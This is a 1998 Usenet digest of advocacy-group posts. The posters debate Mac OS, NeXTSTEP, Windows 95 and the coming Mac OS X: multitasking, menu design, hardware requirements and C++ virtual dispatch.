References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <MPG.102459a86c0084e0989a04@news.supernews.com> <Josh.McKee-2607980952420001@pm3a6.rmac.net> <MPG.10256a18e0cf88e989a1d@news.supernews.com> <35BE8245.381E@launchnet.com>
Terry Haggin wrote in message <35BE8245.381E@launchnet.com>...
>
>I have a ton on great old NeXT apps on my Cube and would like to know if
>I can run them on Rhapsody or OS X?
No. Apps developed in NeXTSTEP cannot run in Rhapsody, nor will they run on
OS X when it is released.
>
>...does anyone have a copy of the Developers Rhapsody that they would like
to sell/give to me?
>
All developers that have Rhapsody DR1/DR2 have signed a non-disclosure
agreement with Apple
and cannot legally even show it to you. Selling/giving it away would most
cerainly get them in a VERY hot water
if Apple finds it out.
The only realistic way for you to get Rhapsody is by enrolling into one of
the Apple's developer programs (which costs money).
Sorry to disappoint you.
Alex Molochnikov
alex@gestalt.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 30 Jul 1998 01:57:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pojup$mkj@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu. <35BFC76E.109C@geocities.com>
Originator: gupta@tlctest
Landivar2 <landivar2@geocities.com> wrote:
>Christopher Smith wrote:
>
>> I was actually thinking more of the way that when you start writing a CD
>> under MacOS the entire box is rendered useless while the CD is writing. For
>
>Don't blame apple blame the *stupid* CDR software.
At work, we are using CD-R to produce distributions of the software we
produce. My colleague does this from a Windows 95 PC using Adaptec's software.
Well, guess what ? While you can run other stuff while the CD is writing,
if you do so, you invariably get an error in the CD write. So, before
writing a CD, you hit Ctrl-Alt-Del and make sure that you kill everything
extraneous.
How is this any different from the Macintosh ?
-arun gupta
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 20:26:57 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35BFCBE1.6487@geocities.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <6plj3n$5f1$1@nnrp1.dejanews.com>
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quinlan@my-dejanews.com wrote:
> But some operating systems are easier than others to crash. The Mac OS is more
> prone to crashing than Windows 95.
On both it depends on the software and hardware you have.
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Mail-Copies-To: macman@rochester.rr.com
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <macman-2907982124020001@d185d1c66.rochester.rr.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com>
Organization: Jessi Group, Inc.
Date: Thu, 30 Jul 1998 01:21:14 GMT
NNTP-Posting-Date: Wed, 29 Jul 1998 21:21:14 EDT
In article <MPG.10204e80816f66a69899e4@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In all this time, the number of new OSes that required a new machine is
> precisely One (1). While not all old machines have been supported in new
> OSes, this is the only time a new OS required a new level of machine.
Actually, several OSs have required new hardware: (some OSs may require
more RAM than is able to fit in some models)
OS 6 required a Mac Plus or better.
OS 7.6 required a 32-bit clean Mac.
OS 8.0 required a 68040-based Mac or better.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Mail-Copies-To: macman@rochester.rr.com
Distribution: world
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <macman-2907982115550001@d185d1c66.rochester.rr.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com>
Organization: Jessi Group, Inc.
Date: Thu, 30 Jul 1998 01:13:07 GMT
NNTP-Posting-Date: Wed, 29 Jul 1998 21:13:07 EDT
In article <6p3d1m$mr6$1@camel18.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
> Microsoft doesn't depend on new hardware purchases.
Sure it does. Virtually everyone with a computer that can run Windows
already has Windows. Most of their sales are to new PCs. Even Windows 98
hasn't been selling as well as expected, and many major vendors are still
not shipping new machines with it.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998073003553700.XAA01373@ladder03.news.aol.com>
Date: 30 Jul 1998 03:55:37 GMT
Organization: AOL http://www.aol.com
References: <35BFB0BB.1AB6@geocities.com>
Landivar 2 said (as regards Apple creating a consumer system with a 9" screen):
> 2 words "Toshiba Libreto"
Actually, I'd say two words and two letters, "Mitsubishi Amity SP"
This is a small pen slate system with a docking system which utilizes the pen
slate as a monitor when docked.
It begs for a combination OS/UI including the best features of (for example)
the Newton OS, Mac OS (for small-screened keyboard use) and the NeXT UI (why
not plug it into a whiteboard? or a 21" monitor).
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 20:07:58 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35BFC76E.109C@geocities.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au>
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Christopher Smith wrote:
> I was actually thinking more of the way that when you start writing a CD
> under MacOS the entire box is rendered useless while the CD is writing. For
Don't blame apple blame the *stupid* CDR software.
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 03:48:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6poqeb$kbe$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net> <6pjrh9$sos$1@nnrp1.dejanews.com> <Josh.McKee-2807981800070001@pm3a10.rmac.net> <6pmc1t$b4i$1@nnrp1.dejanews.com> <Josh.McKee-2907981834090001@pm3a7.rmac.net>
In article <Josh.McKee-2907981834090001@pm3a7.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> I don't think the word pre-emptive was defined with multitasking in mind.
> Rather the other way around.
Exactly, which is why your definition was necessarily incorrect.
> We weren't talking about "delaying"...we were talking about "blocking".
> And Windows 95, with it's "pre-emptive multitasking" can be blocked by
> running a 16 bit program. Likewise, just today I had a Windows 95 system
> "freeze" on me while it was doing something. I couldn't do anything else
> while it was doing whatever it was doing. It is for this very reason why
> I claim that Windows 95's PMT is comparable to the Macs CMT...because,
> like most everything else in Windows 95, it isn't reliable.
1) Very well, name one operating system where no application can "block" the
system.
2) Windows 95's worst case (16-bit application blocking preemptive sheduling)
is the same as the Mac OS's best case. So unless Windows 95 multitasking
always displays worst case performance (which it does not), it is superior to
Mac OS multitasking.
> But to the end user, they don't really
> care...both, for all intents and purposes, do the same thing.
No they do not. I have given you many examples where Windows 95 multitasking
leads to a better user experience than Mac OS multitasking.
> As for your game example, yes, I will conceed that PMT may handle this
> better. I say may because I haven't tried it myself, but theoretically
> Windows 95 should be better.
It is also better in practice.
> But I do have to question how much benefit
> is gained by playing games while doing something else. Perhaps when
> you're at home and downloading a file might be a case, but outside of that
> I cannot really think of much benefit.
Or you want to allow other users on your LAN to connect to your computer.
Under the Mac OS, this can seriously slow down your computer on even a slow
connection.
> I guess inefficient I/O scheduling might be a big problem if the Mac OS
> were designed to do the same work that unix does, but otherwise I really
> can't see this being a big problem. Any particular example you have in
> mind where this is a big headache?
Yes, when decompressing files, the Mac OS slows to a crawl. Under Windows 95,
it's barely perceptable and the compressing is faster as well. File sharing on
the Mac OS slows down your computer significantly when it is barely noticable
under Windows 95.
> How do you define "efficient" for this question?
Usually, it is measure as the time spend doing useful work. Time spent doing
context switches and waiting for I/O is not counted as useful work.
[Josh's main points snipped]
Here was my original point: Mac OS multitasking is inferior to Windows 95
multitasking. Concede this and the argument will be over.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr thorne
Date: Wed, 29 Jul 1998 22:56:04 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35BFEED4.60B8@geocities.com>
References: <35B74335.7DF7C86E@rauland.com> <B1DD3046-927B4@204.32.201.44> <Macghod-2307982238160001@sdn-ar-001casbarp003.dialsprint.net>
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Steve Sullivan wrote:
<snip>
> What is a kook?
Last time I checked it was a derogatory name for a crazy person.
<snip>
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998073004311700.AAA06296@ladder01.news.aol.com>
Date: 30 Jul 1998 04:31:17 GMT
Organization: AOL http://www.aol.com
References: <andyba-ya02408000R2907981014580001@news>
As the person who asked MJP to explain what he disliked about the NeXT UI, I
feel obliged to pipe in again at this point.
A menu system is not merely a system for classifying and categorizing, but also
for facilitating action--having top level menu entries which are in and of
themselves actions facilitates this and makes interaction more efficient.
Having print, hide and quit as top level menu entries means that every time
they are accessed, a step is saved in comparison to the Mac or Windows way of
doing things.
Andy, remember, the ideal search algorithm is order(1), where time to check is
constant--the closest examples are hashing techniques. Although the time to
search probably goes up slightly with each additional application added, it's
unlikely to be geometric, or even linear with a well-coded algorithm.
Rechecking a file is handy if I've temporarily made available an application to
handle a particular sort of file, but don't normally want that app/file used.
BTW Andy, if applications are stored as files, why not just have a top level
file menu and store everything in that?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why does Apple call my P2 a snail?
Date: Thu, 30 Jul 1998 00:40:20 -0400
Organization: none
Message-ID: <id_est-3007980040200001@192.168.1.3>
References: <35b94d45.0@news.velocity.net> <Macghod-2507980008080001@sdn-ar-001casbarp150.dialsprint.net> <joe.ragosta-2507980725260001@elk80.dol.net> <35ba3eec.4914453@198.0.0.100> <35BA6F56.14934D0C@bellsouth.net> <joe.ragosta-2607980822230001@elk85.dol.net> <35BB7716.1168A33E@bellsouth.net> <Macghod-2607981536150001@sdn-ar-001casbarp113.dialsprint.net> <6pock2$sab$1@cantuc.canterbury.ac.nz>
In article <6pock2$sab$1@cantuc.canterbury.ac.nz>, "Julian Garrett"
<jrg40@elec.canterbury.ac.nz> wrote:
> >Oh, so you agree with Joe that it was the p2 and not win nt that caused
> >the vessel to stop dead in the water? I say this, because in ANOTHER post
> >I stated that our government agencies, ESPECIALLY the armed forces, should
> >ditch win nt for openstep/rhapsody. But I guess I should ammend this,
> >since according to Joe the p2 was the cause, and since many government
> >agencies would use the p2 to run openstep, we cant have this since the p2
> >will cause the computer running openstep just stop dead. Uh huh!
> ><sarcasm> You take that you Next users, we Mac users be way technically
> >smarter than you ever be! </sarcasm>
>
>
> Fuck right off!!!!!!!!!!!!, the last fucking thing the military needs is
> another pooter system to learn how to use, let alone one that they trust to
> run boats. Fuck, just imagine if that had been a submarine, or if they had
> been in war... <More Rant deleted>
Calm Down, take deep breaths. I beleive it was reported as an EXPERIMENTAL
ship. They are testing the thing. Obviously, I doubt anyone would be
boneheaded (even the "suits" you refer to) enough to put something that
they didn't know would work into a submarine or a War situation. That is
what experimental means. The military routinely tests new technologies. In
the course of testing things fail, planes crash, tanks break down,
guidance systems fail, missiles blow up, the idea is that you learn from
these mistakes. The incident might be a little embarassing for the
military, MS, intel et al, but I doubt it is imperilling national
security.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 98 23:05:10 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E55B29-3A778@206.165.43.139>
References: <joe.ragosta-2907980906550001@wil64.dol.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>
>>
>> The statement that OS X uses an "entirely new driver architecture" is
>> questionable. OS X will be basically what Rhapsody is now --- Mach
>kernel with
>> BSD 4.4 UNIX layer. In fact, everything that Apple wants to add to OS X
>already
>> runs on PCI Macs.
>
>Not true. Try IOkit, PDF graphcs, and Carbon just for starters.
Er, "PDF graphics" is the "enhanced QuickDraw" of Carbon. That WILL run on
PCI Macs as part of a library for 8.x.
And my understanding of the IOKit was that it was designed to make
cross-platform drivers easy.
Easier than WIntel or MacOS drivers.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 98 23:02:57 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E55AA9-3898D@206.165.43.139>
References: <joe.ragosta-2907980854110001@wil64.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>> Not really. The X graphics system is merely the underlying graphics
engine
>> of DPS without the language.
>
>Still, it's a different engine and different system. In fact, I thought
>the whole thing was going to be based on PDF instead of DPS.
That's what PDF is: the underlying graphics engine of DPS without the
language (PostScript).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr thorne
Date: Wed, 29 Jul 1998 22:54:46 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2907982254460001@sdn-ar-002casbarp315.dialsprint.net>
References: <35B74335.7DF7C86E@rauland.com> <B1DD3046-927B4@204.32.201.44> <Macghod-2307982238160001@sdn-ar-001casbarp003.dialsprint.net> <35BFEED4.60B8@geocities.com>
In article <35BFEED4.60B8@geocities.com>, landivar2@geocities.com wrote:
> Steve Sullivan wrote:
>
> <snip>
> > What is a kook?
> Last time I checked it was a derogatory name for a crazy person.
Really? Edwin is not a kook then. He didnt post from multiple accounts
because he was crazy, he did it because he is a troll.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 30 Jul 1998 06:15:21 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pp31p$dre$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6plfbk$nqj$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
>
> > The lack of indicators, IMO, makes the mac menu more inconsistent;
> > at the top level there is no indication that a menu will popup,
> > yet when you get to sub levels, there if you select an item,
> > again, with no indicator, instead of more menus poping up, it
> > does nothing (till you release it for action instantiation).
>
> >sigh< Again, the Mac menu system is NOT inconsistent. There are
Right in this spot I started to type and rag on you, but got tired of it. It
bores me.
> >TWO
> widgets: the menu bar, and the menus. The menu bar is consistently
> horizontal and contains only menus (except for the clock, which
> has been explained elsewhere). Each of these menu items, when
> clicked, will bring down the menu. The menus are consistently
> vertical, and can contain individual items or submenus. Submenus
> are marked with an indicator; items are not. Furthermore, items
> which bring up a dialog box before executing their command end
> with a "Š."
>
> The only inconsistency is yours, in thinking that the menus and
> the menu bar do (or should) are the same widget, and thus should
> have the same indicators. They aren't, and they don't.
You're a very bright fellow. Keep up the good work. Your analysis is
impressive on at least several levels.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 98 23:16:45 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E55DDF-44AB4@206.165.43.139>
References: <macman-2907982115550001@d185d1c66.rochester.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Stephen Rea <macman@rochester.rr.com> said:
>In article <6p3d1m$mr6$1@camel18.mindspring.com>, Matthew Cromer
><matthew_cromer@iname.com> wrote:
>
>> Microsoft doesn't depend on new hardware purchases.
>
>Sure it does. Virtually everyone with a computer that can run Windows
>already has Windows. Most of their sales are to new PCs. Even Windows 98
>hasn't been selling as well as expected, and many major vendors are still
>not shipping new machines with it.
But most of MS's revenues come from applications software sales, not OS
sales. In fact, if you look at the $400 million price tag of the WIndows 95
introduction marketing blitz, you could make a very good claim that MS will
NEVER make a profit from Windows sales.
I believe that they call this a "loss leader" -something to entice you to
stay with a brand-name -in this case getting you locked into MS Office and
other MS apps. NO-ONE competes with MS on their home turf. On the Mac,
people USED TO BE ABLE TO COMPETE, but not since Jobs came back.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 98 23:20:27 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E55EBE-47EE7@206.165.43.139>
References: <macman-2907982124020001@d185d1c66.rochester.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
>Actually, several OSs have required new hardware: (some OSs may require
>more RAM than is able to fit in some models)
>
>OS 6 required a Mac Plus or better.
over 10 years old.
>
>OS 7.6 required a 32-bit clean Mac.
About 8 years old.
>
>OS 8.0 required a 68040-based Mac or better.
About 6 years old.
>
MacOS X requires a G3 or better.
About 1 year old.
Projecting from this trend:
MacOS XI should require a computer not more than 2 months old...
MacOS XII will only run on those computers that it ships with.
MacOS XIII will only run on computers available a year after it is
released...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 30 Jul 1998 06:18:09 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pp371$dre$2@lwnws01.ne.highway1.com>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2907981014580001@news> <35BF89D8.52280D20@exu.ericsson.se> <6po50s$nmo$2@lwnws01.ne.highway1.com> <35BF9D0E.8EB4F462@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
> It means that to search the entire file type database and figure out
> what kind of file '/usr/lib/magic' is took 0.020 seconds of usertime,
> 0.000 seconds (unmeasurably small) of system time, the total elapsed
> time was 0.08 seconds, and the entire process took 25% of one of the
> machine's two 333-MHz CPUs during the time that it ran.
Aha, your prompt is different from mine, so I thought it was output and not a
prompt. I feel silly, I looked up magic and gfile. :) Time, cool util, I
didn't know it existed. Thanks, that was educational. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: C++ vs. Objective C
Date: 30 Jul 1998 06:24:43 GMT
Message-ID: <6pp3jb$4ae$1@nntp2.ba.best.com>
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6pfo6q$5gn$1@nntp2.ba.best.com> <petrichEwsxqy.Gz4@netcom.com> <6pmi5v$ih0$1@nntp2.ba.best.com>
In-Reply-To: <6pmi5v$ih0$1@nntp2.ba.best.com>
This was the pseudo-C code for the example where display() was declared
to be virtual:
void sampleFunction()
{
MyClass myClass;
MyClass *myClassHeap;
MyClass_ctor(&myClass,5);
myClassHeap = malloc(sizeof(MyClass));
MyClass_ctor(myClassHeap,10);
myClass.vtable->display(&myClass);
myClassHeap->vtable->display(myClassHeap);
}
It turns out that the above translation has one error in it. It should
read like this:
void sampleFunction()
{
MyClass myClass;
MyClass *myClassHeap;
MyClass_ctor(&myClass,5);
myClassHeap = malloc(sizeof(MyClass));
MyClass_ctor(myClassHeap,10);
MyClass_display(&myClass);
myClassHeap->vtable->display(myClassHeap);
}
For statically allocated objects, many (if not all) C++ compilers will
optimize out the call via the vtable since they 'know' the exact type
of object they are dealing with. Calls through object pointers,
however, will go through the vtable.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 02:42:26 -0400
Organization: none
Message-ID: <id_est-3007980242260001@192.168.1.3>
References: <andyba-ya02408000R2907981014580001@news> <1998073004311700.AAA06296@ladder01.news.aol.com>
In article <1998073004311700.AAA06296@ladder01.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> As the person who asked MJP to explain what he disliked about the NeXT UI, I
> feel obliged to pipe in again at this point.
>
> A menu system is not merely a system for classifying and categorizing,
but also
> for facilitating action--having top level menu entries which are in and of
> themselves actions facilitates this and makes interaction more efficient.
>
> Having print, hide and quit as top level menu entries means that every time
> they are accessed, a step is saved in comparison to the Mac or Windows way of
> doing things.
The fact that applications (mac and win) keep putting toolbars with
buttons all over the place that do the same thing that menus do seems to
supports this idea. People seem to find a single click (without dragging
down a menu) to Save or Print or whatever useful. Proper tear off menus
would go a long way to getting rid of this toolbar clutter without using
the fuctionality.
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 01:01:25 -0400
Organization: none
Message-ID: <id_est-3007980101250001@192.168.1.3>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net> <MPG.10284cf7951f302b989a3d@news.supernews.com> <id_est-2807982345510001@192.168.1.3> <alex-2907980924110001@castle.webis.net>
In article <alex-2907980924110001@castle.webis.net>, alex@webis.net (Alex
Kac) wrote:
> In article <id_est-2807982345510001@192.168.1.3>, id_est@interport.net
> (tse_di) wrote:
>
>
> : There are various programs that will allow multihoming on a Mac but it
> : would be nice if the added this to the standard Mac TCP stack.
>
> One problem is the terms used. I hear people using the term "multi-homing"
> meaning: 1) I can have TCP/IP going over two interfaces 2) One interface
> has multiple IP addresses.
>
> The MacOS has built in #2. It does not support #1 yet.
True, When I say "multihoming" I mean the ability to bind multiple
protocols to the same interface (Mac already does this), the ability to
bind multiple addresses to the same protocol (Mac already does this) and
the ability to bind the same protocol to multiple interfaces (The mac
doesn't do this).
PS to Joe who can check TCP/IP mail on local server while using TCP/IP on
PPP. what mail server has your mail on it and what mail client are you
using?
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server release - timing and price?
Date: Thu, 30 Jul 1998 04:50:03 GMT
Organization: MiCMAC
